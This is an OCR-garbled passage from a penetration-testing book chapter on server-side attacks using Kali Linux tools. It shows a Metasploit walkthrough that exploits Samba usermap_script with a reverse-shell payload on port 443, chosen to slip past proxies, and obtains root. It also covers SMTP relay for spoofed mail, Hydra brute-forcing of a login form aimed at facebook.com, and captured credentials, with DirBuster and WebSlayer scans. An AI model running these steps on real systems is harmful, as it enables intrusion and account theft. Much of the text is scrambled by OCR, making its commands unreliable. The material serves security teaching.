Unknown device172.16.189.5

Unknown device172.16.189.131 00:50:56:9F:51:33
msf >

22 tcp ssh
86 tcp http

saux

172.16.189.1
172.16.189.1
172.16.189.1
172.16.189.1
172.16.189.1
172.16.189.1
172.16.189.1
172.16.189.1
172.16.189.1
172.16.189.5
172.16.189.131 22
172.16.189.131 21
172.16.189.131 23
172.16.189.131 25
172.16.189.131 53
172.16.189.131 86
172.16.189.131 139
172.16.189.131 445

open
open
open

fwl-securereaote open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

199 tcp
256 tcp
259 tcp esro-gen
1726 tcp h.323/q.931
443 tcp https
966 tcp oaginitialrefs
264 tcp bgap
111 tcp rpcbind

tcp ssh
tcp ftp
tcp telnet
tcp satp
tcp domain
tcp http
tcp netbios-ssn
tcp aicrosoft-ds

aysql
postgresql
ajpl3
unknown

172.16.189.131 3366 tcp
172.16.189.131 5432 tcp
172.16.189.131 8669 tcp
172.16.189.131 8186 tcp

sT >
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You can perform scanning for nmap
database in one step by using the command db_nmap. In the following example, we 
are using db_nmap to scan a host using the nmap commands.

We can verify that Metasploit has the relevant information in its database issuing  
the hosts and services commands.

The services command reveals 
search for an exploit and take advantage of this. It is important to note that although 
we are attacking a real web server in this instance, we don't necessarily need to try 
to exploit a web vulnerability. Real attackers will take advantage of all the software 
running on a web server to access information.

We see several Samba exploits available. They also have rankings. We will use  
the usermap_script exploit with an excellent rating. This module exploits the 
command execution vulnerability in Samba Versions 3.0.20 through 3.0.25rc3.  
More information about this exploit can be found at http://www.metasploit.com/
modules/exploit/multi/samba/usermap_script.
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msf > db nmap -n -A 172.16.189.131

(Services

host state infoport proto name

172.16.189.131 21 tcp ftp
172.16.189.131 22 tcp SSh
protocol 2.0
172.16.189.131 23 tcp telnet
172.16.189.131 25 tcp smtp
172.16.189.131 53 tcp domain
172.16.189.131 80 tcp http
P/5.2.4-2ubuntu5.10 with Suhosin-Patch
172.16.189.131 139 tcp netbios-ssn open Samba smbd 3.X workgroup: WORK
GROUP
172.16.189.131 445 tcp microsoft*ds open
172.16.189.131 3306 tcp mysql
172.16.189.131 5432 tcp postgresql
172.16.189.131 8009 tcp ajpl3
172.16.189.131 8180 tcp http

ProFTPD 1.3.1
OpenSSH 4 . 7pl Debian Subuntul

open
open

open Linux telnetd
open Postfix smtpd
open
open Apache httpd 2.2.8 (Ubuntu) PH

MySQL 5.0.51a-3ubuntu5
PostgreSQL DB 8.3.0 - 8.3.7
Apache Jserv Protocol vl.3
Apache Tomcat/Coyote JSP engin

open
open
open
open
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use command. In this case:

Once an exploit is selected, we need to see what information is required before  
we can execute the selected exploit. We do this by identifying the required  
options listed in the output and selecting a payload we want to deliver. We  
issue the command show options to view the required options:

http://itbookshub.com

mysql
postgresql
ajpl3

MySQL 5.0.51a-3ubuntu5
PostgreSQL DB 8.3.0 * 8.3.7
Apache Jserv Protocol vl.3
Apache Tomcat/Coyote JSP engin

172.16.189.131 3306 tcp
172.16.189.131 5432 tcp
172.16.189.131 8009 tcp
172.16.189.131 8189 tcp
e 1.1

open
open
open
openhttp

1 > search samba type:exploit platform:unixm

Matching Modules

Disclosure Date RankName
Description

exploit/linux/samba/setinfopolicy heap
al Samba SetlnformationPolicy AuditEventsInfo Heap Overflow

exploit/multi/samba/usermap script
llent Samba 'username map script' Command Execution

exploit/unix/webapp/citrixaccess gateway exec 2819-12-21 96:96:86 UTC exce
llent Citrix Access Gateway Command Execution
msf >

2812-94-16 86:66:96 UTC norm

2897-95-14 96:66:66 UTC exce

± > search samba type:exploit platform:unix

Matching Modules

Disclosure Date RankName
Description

exploit/linux/samba/setinfopolicy heap
al Samba SetlnformationPolicy AuditEventsInfo Heap Overflow

exploit/multi/samba/usermap script
llent Samba “username map script" Command Execution

exploit/unix/webapp/citrix access gateway exec 2619-12-21 69:66:99 UTC exce
llent Citrix Access Gateway Command Execution_

2612-64-19 89:96:99 UTC norm

2667-65-14 96:86:89 UTC exce

use exploit/multi/samba/usermap script
msf exploit(usermapscript) > show options

Module options (exploit/multi/samba/usermap script) :

Name Current Setting Required Description

The target address
The target port

RHOST
RPORT 139

Exploit target:
Id Name

yes
yes

6 Automatic

msf exploit (usermap script) >
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We can see from this example that we need an RHOST entry. RHOST is the IP address 
of the remote host we are attacking. We also need to select the payload and set the 
payload options. A payload is code that injects itself and runs the exploit. Since 
the same vulnerability can exist using multiple methods, we can possibly have 
multiple payloads to choose from. To see the available payloads, issue the show 
payloads command.

Once we see a payload that we want to use, the next step is to use the set payload 
command and put in the patch name of the payload we see.
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cmd/unix/bind netcat ipv6
etcat -e) IPv6

cmd/unix/bind perl

normal Unix Command Shell, Bind TCP (via n

normal Unix Command Shell, Bind TCP (via P
erl)

cmd/unix/bind perl ipv6
erl) IPv6

cmd/unix/bind ruby

normal Unix Command Shell, Bind TCP (via p

normal Unix Command Shell, Bind TCP (via R
uby)

normal Unix Command Shell, Bind TCP (via Rcmd/unix/bind ruby ipv6
uby) IPv6

cmd/unix/generic normal Unix Command, Generic Command Execu
tion

normal Unix Command Shell, Double reversecmd/unix/ reverse
TCP (telnet)

cmd/unix/ reversenetcat
a netcat -e)

cmd/unix/ reverse perl
a Perl)

cmd/unix/ reverse python
a Python)

cmd/unix/ reverse ruby
a Ruby)
msf exploit (useraapscript) >

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell, Reverse TCP (vi

cmd/unix/bind perl normal Unix Command Shell, Bind TCP (via P
erl)

cmd/unix/bind perl ipv6
erl) IPv6

cmd/unix/bind ruby

normal Unix Command Shell, Bind TCP (via p

normal Unix Command Shell, Bind TCP (via R
uby)

normal Unix Command Shell, Bind TCP (via Rcmd/unix/bind ruby ipv6
uby) IPv6

cmd/unix/generic normal Unix Command, Generic Command Execu
tion

normal Unix Command Shell, Double reversecmd/unix/ reverse
TCP (telnet)

cmd/unix/ reverse netcat
a netcat -e)

cmd/unix/ reverse perl
a Perl)

cmd/unix/ reverse python
a Python)

cmd/unix/ reverse ruby
a Ruby)
msf exploit (useraap_script) > set PAYLOAD cmd/unix/ reverse
PAYLOAD => cmd/unix/ reverse
msf exploit (usermap script) >_

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell. Reverse TCP (vi
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Once the payload is set, we can issue the show options command again to verify the 

LHOST and the LPORT. The 
LHOST is the local host or your Metasploit attacker box. The exploit makes the remote 
host connect back to the system hosting Metasploit, so the remote host needs to 
know what your IP address is.

In addition, we need to set the port the remote host will use to communicate with 

or router. Best practice is to use a common port such as port 443, since it is usually 

443
using 443 as a LPORT for most attacks allows us to bypass internal proxy tools an 
organization may have deployed.

http://itbookshub.com

cmd/unix/bind perl nomal Unix Command Shell, Bind TCP (via P
erl)

cmd/unix/bind perl ipv6
erl) IPv6

cmd/unix/bind ruby

normal Unix Command Shell, Bind TCP (via p

normal Unix Command Shell, Bind TCP (via R
Lby)

cmd/unix/bind ruby ipv6
uby) IPv6

cmd/unix/generic

normal Unix Command Shell, Bind TCP (via R

normal Unix Command, Generic Command Execu
tion

normal Unix Command Shell, Double reversecmd/unix/reverse
TCP (telnet)

cmd/unix/reverse netcat
a netcat -e)

cmd/unix/reverse perl
a Perl)

cmd/unix/reverse python
a Python)

cmd/unix/reverse ruby
a Ruby)
lit exploit(usermapscnpt) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse

f exploit (usermapscript) > show options|

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell, Reverse TCP (vi

normal Unix Command Shell, Reverse TCP (vi

LLI

The target address
The tarqet port

RHOST 172.16.189.131
RPORT 139

Payload options (cmd/unix/reverse):

yes
yes

Name Current Setting Required Description

The listen address
The listen port

LHOST
LPORT 4444

Exploit target:
Id Name

yes
yes

Automatic
msf exploit (usermapscript) > set LHOST 172.16.189.5
LHOST => 172.16.189.5
msf exploit ( use rmap_script) > set LPORT 443
LPORT => 443
msf exploit(usermap script) > exploit!

6
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When we are done setting our options, we can type, exploit to run the attack. When 
the exploit runs successfully, you will be connected to the remote server. You can 
run any command and in this example, this particular exploit gives root access. Root 
access means full access to your target remote server.

There are various exploit and payload options available in the Metasploit framework. 
Make sure to review the available options at http://www.metasploit.com/.

w3af

w3af (short for ) is an open-source 
web application security scanner and exploitation tool. W3af can be accessed under 
Web Application Assessment | Web Vulnerability Scanners by selecting w3af.

http://itbookshub.com

msf exploit(u5erm,ip scr ipt) > set LHOST 172.16.189.5
LHOST => 172.16.189.5
msf exploit (usermap_script) > set LPORT 443
LPORT => 443
msf exploit (usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo BySs63KAtbI6fYyQ;
[*J Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: ”BySs63KAtbI6fYyO\ r\n"
[*] Matching...
[•) A is input...
[*J Command shell session 1 opened (172.16.189.5:443 -> 172.16.189.131:45726) at 2613-64-1
6 15:14:65 -6566

whoami
root

wji#

www.freepdf-books.com



Chapter 3

[ 103 ]

to group plugins that will be run on a target. w3af comes with some great default 

the center window as you select them such as the following example of the OWASP 

you check, the longer the scan will take. w3af will warn you of possible long delays  
if you check a large group. Click on Start to run the scan.

Next, enter the target URL in the Target: Start to run the scan. The 
following screenshot shows setting up w3af to scan www.thesecurityblogger.com:

http://itbookshub.com

The Open Web Application Security Project (OWASP) is

a worldwide free and open community focused on

improving the security of application software. OWASP

searched for and published the ten most common

security flaws. This profile search for this top 10

security flaws. For more information about the security

flaws: http://www.owasp.org/index.php/

OWASP_Top_Ten_Project .

Profiles Edit View Tools Configuration Help

ft sa k.it

config |ÿ_oScan

Profiles Target: [http://www.thesecurityblogger.com
emptyprofile

Plugin Active
OWASP TOP10

[+1 audit

\±\ auth

\±\ bruteforce

\±\ discovery

evasion

audit_high_risk

bruteforce

fast_scan

full_audit

full_audit_manual_dis(

sitemap

webjnf restructure

±
+ grep

a IQ mangle

Plugin Active

IjH output
Mangle plugins modify requests on the fly.

www.freepdf-books.com



Server-side Attacks

[ 104 ]

w3af will show the status of an active scan in the Log window. w3af will attempt to 
predict the length of time required to complete the scan.

To see the results from a scan, click on the Results tab. Results will provide the 
details of what possible The Exploit tab will show  
the possible exploits based on the vulnerabilities discovered.

http://itbookshub.com

Profiles Edit View Tools Configuration Help

t

Scan config Log Results Exploit

O Vulnerabilities S Informations Error

[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "warning" was found in: "http://www.thesecurityblogger.com". This could be
interesting. This information was found in the request with id 1.
[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "puta" was found in: "http://www.thesecurityblogger.com". This could be interesting.
This information was found in the request with id 1.
[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "email" was found in: "http://www.thesecurityblogger.com". This could be interesting.
This information was found in the request with id 1.
[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "security" was found in: "http://www.thesecurityblogger.com". This could be
interesting. This information was found in the request with id 1.
[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "captcha" was found in: "http://www.thesecurityblogger.com". This could be
interesting. This information was found in the request with id 1.
[Fri 26 Apr 2013 03:32:41 AM EDT] The uri parameter of xUrllib.POSTO must be of urlParser.url_object type.
[Fri 26 Apr 2013 03:32:41 AM EDT] The uri parameter of xUrllib.POSTO must be of uriParser.url_object type.
[Fri 26 Apr 2013 03:32:41 AM EDT] webDiff plugin: You have to configure the local and remote directory to compare.

| Search

Discovery progress: 5.263 % - ETA: OOd OOh 06m 10s

Running discovery.fingerPKS on http://www.thesecurityblogger.com|Method: GET.

VUlns-

Info-

Debug [s]
0.00 1.07 2.14 3.20 4.27 5.35 6.42 7.49 8.56 9.62

Profiles Edit View Tools Configuration Help

* gl
Scan config Log Results Exploit

KB Browser URLs Request/Response navigator

O VUln H Info Misc

Knowledge Base

The remote web server sent the HTTP header: "Link" with value: "chttp://
wp.me/lLfwo>; rel=shortlink". This information was found in the request with id 1.

findComments (1)

0 interestingComments

O HTML comment with "user inside

© HTML comment with "pass" inside

© HTML comment with "fix" inside

© HTML comment with "hack" inside

© HTML comment with "warning" inside

© HTML comment with "puta" inside

© HTML comment with "email" inside

© HTML comment with "security" inside

© HTML comment with "captcha" inside

© strangeParameters

© strangeHeaders

© strangeHeaders

(9)

Request Response

Raw Headers

POST http://www.thesecurityblogger.com HTTP/1.1
Host: www.thesecurityblogger.com
Content-Type: application/x-www-form-urlencoded
Accept -Encoding : gzip
Accept: */*
User-Agent: Mozilla/4.0 (compatible; HSIE 8.0; Windows NT 6.1;
Trident/4.0; w3af.sf.net)

(1)
%25uFF-20%25uFF2e%25uFF4f%25uFF4e%25uFF45=&VY8Mx8yXbZKq=3YeRBTeJdl

(1)

(2)

i Strange header

© Strange header

clickjacking

clickjacking

(1)

(1)

©13 1 0
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from which exploit plugins can read from and use that information to exploit the 
vulnerability. If the exploit is successful, you will get a shell on the target system. The 
following screenshot shows www.ntew3af exploiting the dayShell vulnerability on 
www.thesecurityblogger.com.

There are a lot more useful features in the w3af toolset. You can learn more at 
http://w3af.org/.

Exploiting e-mail systems
By nature, all the e-mail systems sit on the Internet and allow external anonymous 
access from the outside world in order to be productive. Users in many organizations 
send sensitive information over e-mail. In most environments, e-mail servers hold 
valuable information making them a high priority target for attackers. The good 

since most e-mail systems have web applications and are accessed through a web 
interface. This promotes the possibility of a remote attacker gaining access to a core 
system that could be leveraged as a jumping point to other internal systems.

http://itbookshub.com

Scan config Log Results Exploit

Exploits Vulnerabilities Shells

A Unhandled error in web application[>PI

A Unidenÿlwdeval

fileUploadShell

localFileReader

osCommandingShell

remoteFilelncludeShell

rfiProxy

sqlwebshell

sqlmap

xpath

» Multiple Exploit!
Mint 9z: use tne set commano to enter tne values yourseir, ana
then exploit it using fastExploit.
No [blind] SOL injection vulnerabilities have been found.
Hint #1: Try to find vulnerabilities using the audit plugins.
Hint #2: Use the set command to enter the values yourself, and
then exploit it using fastExploit.
No [blind] SQL injection vulnerabilities have been found.
Hint #1: Try to find vulnerabilities using the audit plugins.
Hint #2: Use the set command to enter the values yourself, and
then exploit it using fastExploit.

Exploiting 'davShell'...
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Before we target mail servers, it is important to know what systems are hosting the 
mail servers. If you do not have this information, you can use the Reconnaissance 
techniques we learned in Chapter 2, Reconnaissance. In this example, we used  

 
host is the SMTP server. The following screenshot is running Fierce on  
www.cloudcentrics.com:

First we need to see if the mail server is vulnerable to direct commands. The main 
purpose for which most attackers want to exploit mail servers is to spoof e-mails  
and use the e-mail server as an unauthorized e-mail relay server. This book will 
cover more on how compromised e-mail servers can be used for social engineering 
attacks in Chapter 4, Client-side Attacks.

In this example, we will use Netcat as the tool to connect to the mail server. Netcat is 
a computer networking service for reading from and writing to network connections 
using TCP or UDP. Netcat is designed to be a dependable "back-end" device that  
can be used directly or easily driven by other programs and scripts. Netcat is also  
a feature-rich network debugging and investigation tool with the ability to produce 
almost any kind of correlation using a number of built-in capabilities.

A common method to launch Netcat is issuing the command netcat mail-server 
port. In this example, our mail server target is running servers over port 25. We 

nmap during the Reconnaissance steps described  
in Chapter 2, Reconnaissance.

Once we connect to the server using Netcat, we use the HELO command to tell the 
server who we are.

http://itbookshub.com

|root(akalj :-# fierce -dns www.cloudcentrics.com
DNS Servers for www.cloudcentrics.com:

ns3682 .hostgator.com
ns3681 .hostgator.com

Trying zone transfer first...
Testing ns3682.hostgator.com

Request timed out or transfer not allowed.
Testing ns3681.hostgator.com

Request timed out or transfer not allowed.

Unsuccessful in zone transfer lit was worth a shot)

Okay, trying the good old fashioned way... brute f
Can't open hosts.txt or the-oerotlWvorWist-ÿl— L
Exiting . . .
rootflkali:~#

ore
vwv

root@kali:-# netcat mail.secmob.net 25
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If we receive a response, we can manipulate most servers using the SMTP commands 

following example, we start by telling the server who we are using the HELO command. 
Next, we can use the mail server to relay messages for future client-side attacks.

HELO, MAIL FROM, RCP To, and Data
reply to address. An 

example is changing the Reply to address with the goal of tricking a receiver into 
sending an e-mail to someone else.

A full list of the SMTP commands can be found through the SMTP RFC commands 
or using Google.

A brute-force attack is when all possible keys are checked against encrypted data until 
the right key is found. Brute-force attacks are extremely costly from a resource and 
time perspective because the attacker is exploiting vulnerabilities in the encryption by 
taking advantage of key length and simplicity of the key. A password is often based 
on dictionary words meaning the total space an attacker would have to test would be 

than a password using random characters. Best practice to mitigate brute-force attacks 
is using long and complicated keys as well as timeouts after a number of attempts and 
other methods to add more security factors.

Hydra
Hydra is a tool developed by  ( ) that uses the brute-force 
attack method to test against a variety of different protocols. It is ideal for attacking 

IP and protocol such as the admin 
account for POP3 and SMTP used by the e-mail systems.

Prior to launching Hydra, you should perform Reconnaissance on a target such as a 
mail system. Chapter 2, Reconnaissance, covers a vulnerability assessment tool Zenmap 
that can be used to gather the following information for Hydra:

The target's IP address (for example, 192.168.1.1)
Open Ports (for example, port 80 or 25)
Protocol (for example, HTTP for web or SMTP for mail)
User name (for example, admin)

http://itbookshub.com

1A IL FROM : someone_important(?c loudcentr ics.con
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Another Reconnaissance tool that is often used with Hydra is the Firefox plugin 
Tamper Data.

Tamper Data is a tool written by Adam Judson that allows an attacker to view HTTP 
and HTTPS GET and POST information. This information is useful when using tools 
such as Hydra to brute-force web forms since you can automate Hydra into opening 
the webpage and testing the different username and password combinations.

Once we enable the Tamper Data plugin, we can launch the plugin and start it  
before we submit a name into a web form.

http://itbookshub.com

Register or Log in 1 Other Applications

y ADD-ONS
EXTENSIONS I THEMES I COLLECTIONS I MORE...

I search for add-ons

#» Extensions » Tamper Data

Tamper Data 11.0.1
by Adam Judson

Use tamperdata to view and modify HTTP/HTTPS headers and post parameters...
4t 105 user reviews

167,930 users

B Add to collectio

< Share this Add-Continue to Download

Meet the Developer:Adam Judson

Learn whyTamper Data was created and find out what's next for this add-on.

. Connecting

<- > a nop

6 Mott Visited Getting Started

+

* KJ
FT Ethical Hacking apptetv-hd IPS The Hacker Academy Imported SF Cisco Security Partners

p n /factboofc.com

Tune Gmai 4 Ooud Tech

facebook

Sign Up
Connect with friends and the
world around you on Facebook.

It's free and always will be.

first Name Last Name_
a* Tamper Data - Ongoing requests

IB vian lar i . Stop Tamper Clear Options Help

Filler Snow AH

Time Duration Total Duration

I3S28 1116 ms T 116 ms
1:3*29... 1840 ms 1840 ms

Sue Method Status Content Type

•1 GET 200 tefl/wnl
200 text/iunl

URL Load Flags «
https... LOAD.8ACKG...
https . LOAO.eWASS...344 GET

£> "••r

Tamper with request?

C\ h-U:-.

** id>(dl0d0bf I
* Continue I

Q httpsy/www.racebooluom/loginphp?iogin.Attempta1

+ Continue Tampering?

Tamper Submit Abort Request

trda.un
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Tamper Data will display information 
manipulate and resubmit that data even if the website is encrypted.

In this example, we see that the username pink and the password pinkprincess are 
used when the login button was submitted.

Both these examples are two practical ways to perform Reconnaissance on a target to 
gather the useful information Hydra will need. There are a plenty of other methods 
and built-in tools in Kali to gather web information to use in Hydra; however, we 
recommend Netcat and Tamper Data as the most effective methods.

Now that we have completed our Reconnaissance phase, let's launch Hydra and  
see how we can use our Reconnaissance information to perform a brute-force 
password attack.

To access Hydra from the Kali, go to Password Attacks |  and select 
Hydra. This will open a Terminal window that will auto launch Hydra.

http://itbookshub.com

Tamper Popup

https://secure.wwt.com/nidp/saml2/sso?sid=0

Request Header Na... Request Hea...

| secure.wwt.cor

Post Parameter Na... Post Paramet...

optionHost credential

Mozilla/5.0 (W EcomJJserJD pinkUser-Agent

Accept text/html,appli Ecom_Password pinkprincess

en-US,en;q=0.;Accept-Language loginButton2 Login

Accept-Encoding gzip, deflate

Referer https://secure.\

JSESSI0NID=3Cookie

OK Cancel

Hydra is a tooT to guess/crack valid login/password pairs - usage only allowed
for legal purposes. Newest version available at http://www.thc.org/thc-hydra
The following services were not compiled in: sapr3 oracle.

Examples:
hydra -1 john -p doe 192nÿ<rT\lftl
hydra -L user.txt -p defaultWr A-S 192.168.oj.: imap RLMN/.X
hydra -1 admin -P pass
hydra -C defaults.txt -6 pop3s://[ fe80 : :2c :31f f : fel2:acll] :143/DIGEST-MD5

[rootfljkali _
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The opening documentation explains how to run Hydra. For example, if you want  
192.168.1.1 using SMTP,  

you would type:

hydra -l admin -p /root/password.txt 192.168.1.1 smtp

If you would like to use Hydra on a web form, we will need to gather the 
information we collected from the Tamper Data plugin. The syntax for using Hydra 
on a web form is <url>:<form parameters>:<failure string>.

URL=https://www.facebook.com/login.php?login_attempt=1email=pink&passw
d=pinkprincessl&login="log in"

hydra -L /cloudcentrics/usernamelist -P /cloudcentrics/passwords_demo_
file.txtt -facebook.com http-get-form "login.php?login_attempt=1:username
=^EMAIL^&TOKEN=^PASSWORD^&login=Login:incorrect"

The syntax can get complicated and change from site to site. This can happen on the 
same site as well. It's recommended to master Tamper Data and Hydra in a lab prior 
to performing live Penetration Testing.

DirBuster
servers. It is common that web servers present themselves as a default installation 
state, however applications and pages are actually hidden within. DirBuster is 
designed to seek out these hidden factors.

DirBuster can be found under Web Applications |  as dirbuster. Once 

least, you must enter a target URL, select the number of threads (we suggest maxing 
Browse and select the default list 

or develop your own.
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Note that some versions of Kali may not include the default dictionaries. 
You can download the default dictionaries online and point DirBuster to 
them as shown in the following example:

Start and DirBuster will start the 
vulnerability assessment. Most likely, it will state that the completion time is a few 

within minutes. The following 
/cgi-bin/ folder that could be interesting:

http://itbookshub.com

OWASP DirBuster l.O-RCl - Web Application Brute Forcing

File Options About Help

Target URL (eg http://example.com:80/)

http://www.thesecurityblogger.com

O Use GET requests only ©Auto Switch (HEAD and GET)Work Method

ip lOOThre... Go FasterNumber Of Threads

%
© List based brute force O Pure Brute ForceSelect scanning type:

File with list of dirs/files

j|Q, Browse ] [ ® List Info J/root/Desktop/wordlist.1st

Charset |a-zA-Z0-9%20-_ Min length 1 Max Length 8

© Standard start point O URL Fuzz

0 Be Recursive

Use Blank Extension File extension

Select starting options:

0 Brute Force Dirs

0 Brute Force Files

Dir to start with [7
[php

URL to fuzz - /test.html?url={dir>.asp

lL
| > Start ;Mi Exit |

Please complete the test details

OWASP DirBuster l.O-RCl - Web Application Brute Forcing

File Options About Help

http://www.thesecurityblogger.com:80/

@ Scan Information Results - List View: Dirs: 566 Files: 0 Results - Tree View Errors: 9

FoundType Response Size
Dir /stats/

/wp-content/
401 764

PDir 200 148
200 164372Dir /

/cgi-bin/
/2005/
/wp-includes/
/06/
/sitemap/

Dir 403 507
Dir 503 541
Dir 200 10724
Dir 503 541
Dir 503 541
Dir 121 503 541

Dir /09/ 503 541
Dir 107/

1081
/events/
/kpvnpn/

503 541
503Dir 541

Dir
Dir

503
sm

541
S41

Current speed: 275 requests/sec

Average speed: (T) 135, (C) 191 requests/sec

Parse Queue Size: 0

Total Requests: 2970/235452436

(Select and right click for more options)

Current number of running threads: 100

Change

Time To Finish: 14 Days

DD Pause Stop Report

Starting dir/file list based brute forcing /identity/13.php
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Any code other than 404 is open to brute-force. To target the /cbi-bin/ folder 
found during the scan, click on Stop to end the scan and click on Back. On the main 
dashboard, above Start
assessment. To start inside the /cbi-bin/
on Start.

within folders to evaluate. Continue the  
same  
out your target. The following screenshot shows a tree view of mapping into the 
cgi-bin folder:

http://itbookshub.com

Dir to start with /cgi-bin/|

File extension php

OWASP DirBuster l.O-RCl - Web Application Brute Forcing

File Options About Help

http://www.thesecurityblogger.com:80/cgi-bin/

@ Scan Information Results - List View: Dirs: 815 Files: 827 \ Results - Tree View Errors: 30 \
Type ResponseFound Size

/cgi-bin/
/cgi-bin/article/
/cgi-bin/special/
/cgi-bin/support/
/cgi-bin/09/
/cgi-bin/login/
/cgi-bin/2004/
/cgi-bin/18/
/cgi-bin/help/
/cgi-bin/sp/
/cgi-bin/profile/
/cgi-bin/policies/
/cgi-bin/more/
/rni-hin/infn/_

Dir 403 505
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503 541
Dir 503

503

541
Dir 541

Current speed: 134 requests/sec

Average speed: (T) 43, (C) 87 requests/sec

Parse Queue Size: 0

Total Requests: 2928/337606829

(Select and right click for more options)

Current number of running threads: 100

Change

Time To Finish: 44 Days

[ Report |1 1 Stop |Back DD Pause

/cgi-bin/201/DirBuster Stopped
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You can click on the Report button 
select where to save the report and click on Generate Report
showcasing what was found.

WebSlayer

WebSlayer is a web application brute-force tool. WebSlayer can be used to brute-
force the Form (User/Password), GET, and POST parameters. WebSlayer can also 
be used to 
WebSlayer has a payload generator and results analyzer.

http://itbookshub.com

DirBuster 1.0-RC1 Report Viewer

/root/Desktop/DirBusterReport-www.thesecurityblogger.com-80.txt

iFull Textl) Simple List \ XML \ CSV \
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Thu May 09 15:28:10 EDT 2013

http://www.thesecurityblogger.com:80

Directories found during testing:

Dirs found with a 403 response:

/cgi-bin/
/cgi-bin/test/

Dirs found with a 503 response:

/cgi-bin/features/
/cgi-bin/page/
/cgi-bin/5/
/cgi-bin/22/
/cgi-bin/docs/
/cgi-bin/20/
/cgi-bin/downloads/
/cgi-bin/4/
/cgi-bin/main/

|K Close

WEBSLAYER
EDGE-SECURITY

S)
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In the Attack Setup tab there is an url
Headers and 

an option to set the payload type, which can be Dictionary, Range, or Payload. 
The Dictionary
or selected from a list of available dictionaries. The Range setting can be used to 
specify the range for the attack. The Payload setting can import a payload from the 
Payload Generator tab. The following screenshot shows WebSlayer targeting www.
thesecurityblogger.com:

The payload generator is a tool that you can use to create custom payloads. You 
can load dictionaries, numeric ranges, character blocks, permutations, credit cards, 
usernames, and other settings. You can concatenate and 
can be uploaded into the attack tab for a customized attack.

payload in the Payload Generator tab can be seen 
in the following screenshot. The example shows setting the range payload from 0 to 
1000. Once the range is selected, we click on the add generator button, which will 
generate a Temporal Generator. Drag the newly created generator to the Payload 

 at the bottom and click on Generate Payload. We can now import the new 
payload in the Attack Setup tab.

http://itbookshub.com

v x WebSlayer

File

Attack setup f Payload generator Attack results & RequesteR £ Encoder =: Logs # Help

Url: | http://www.thesecurityblogger.com/FUZZ

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3

Headers:

POST Data:

Inject in all parameters: | Headers | Authentication: | basic T | |Payload type: |Dictionary |

3H Encoding FUZZ: |md5_

| Encoding FUZ2Z: | html encoder

Dictionary : || Injections/Traversal.txt

Dictionary 2: I vulns/sqljnj.txt 3g[

Filtering Discovery options Connection options

Threads: | 5 * Time delay: |o

Proxy: |

Start!

Anonymous browsing
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After importing the payload into the attack scenario or selecting default dictionaries, 
you must select where the payload will be injected by WebSlayer. Placing the keyword 
FUZZ on the URL being attacked does this. For example, the following screenshot 
shows the target http://www.thesecurityblogger.com/FUZZ
where FUZZ is an attack leveraging two existing dictionaries found in WebSlayer:

http://itbookshub.com

v x webslayerA

File

Attack setup f Payload generator Attack results - RequesteR Encoder s Logs Help

FINAL PAYLOAD:

Temporal Generators 0File Range Block Permutation Creditcards Usernames

I1PRangeOO
2

*1 ToRange:

Fix width

o 1000 3
4

Width: 0 5
6

Add generator
7
8

You can make numeric payloads: 9
10

Example from 0 to 31,

Or with fixed width from 000 to 031
11
12

13

14
15

16
17

18
19

(£j) Drop generator

29Add from file

Payload Creator Payload Modifier Save Payload

(gj) Drop Payload
Generate PAYLOADPattern: [@PRangeOO@]

Delete selection

Attack setup f Payload generator J Attack results „ RequesteR “ Encoder == Logs y. Help

|2| http://www.thesecurityblogger.com/FUZZ|Dictionary | /pentest/web/webslayer/wordlist/vulns/iplanet.txt

B Include Codes: — Lines: — Words: I — Chars: — MD5: ™ RegexV

Timer Code Lines Words Chars Payload Cookie LocationMD5

5 4.136919 200 648 13545 158715 2e7ffaf85781cllc57419cc2dl8a9479 ?wp-start-ver

6 3.892320 200 648 13545 158717 3cd2fb9e293bl9306605d4cb71db5flf ?wp-unchec...

7 3.868443 200 648 13545 158713 ff5d05bd4239fl8d6f74c26546072865 ?wp-usr-prop

8 0.280893 301 7 20 250 1799a3f841all3a7c224ae85c98f080e cgi-bin http://w...

9 4.438997 200 648 13545 158713 72f9ae92cac56504al80b863d04a05e3 ?wp-ver-diff

10 3.725867 200 648 13545 158713 3f05d0e7e533c88d8dl511caec78c5fb ?wp-ver-info

11 4.766964 200 648 13545 158719 822d456deel39ccdb64b6f7b440829ba ?wp-verify-li...

V Browser Response HTML Response Source Code Response Headers Raw Request

Moved Permanently
The document has moved here.

Search\

Attack finished OK
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WebSlayer can attack any part of the HTTP request such as headers and 
authentication. In order for WebSlayer to brute-force the password of a web  
server, it is important to know the username or most likely WebSlayer will not 
work. You will need to capture HTTP requests and attempt a login so that you  
can grab the user agent and content needed for the attack.

Firefox offers a plugin called Live HTTP Headers, which you can use to gather this 
information while attempting a login to your target server. The following example 
shows user joeymuniz using a bad password while capturing packets with live 
HTTP headers.

http://itbookshub.com

Live HTTP Headers 0.17
by Daniel Savard, Nikolas Coukouma

View HTTP headers of a page and while browsing.

Download Now

Works with Firefox 0.8 - 17.* • View other versions

Live HTTP headers

Generator Config AboutHeaders

HTTP Headers

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Cecko/20100101 Firefox/20.0
Accept: */*
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

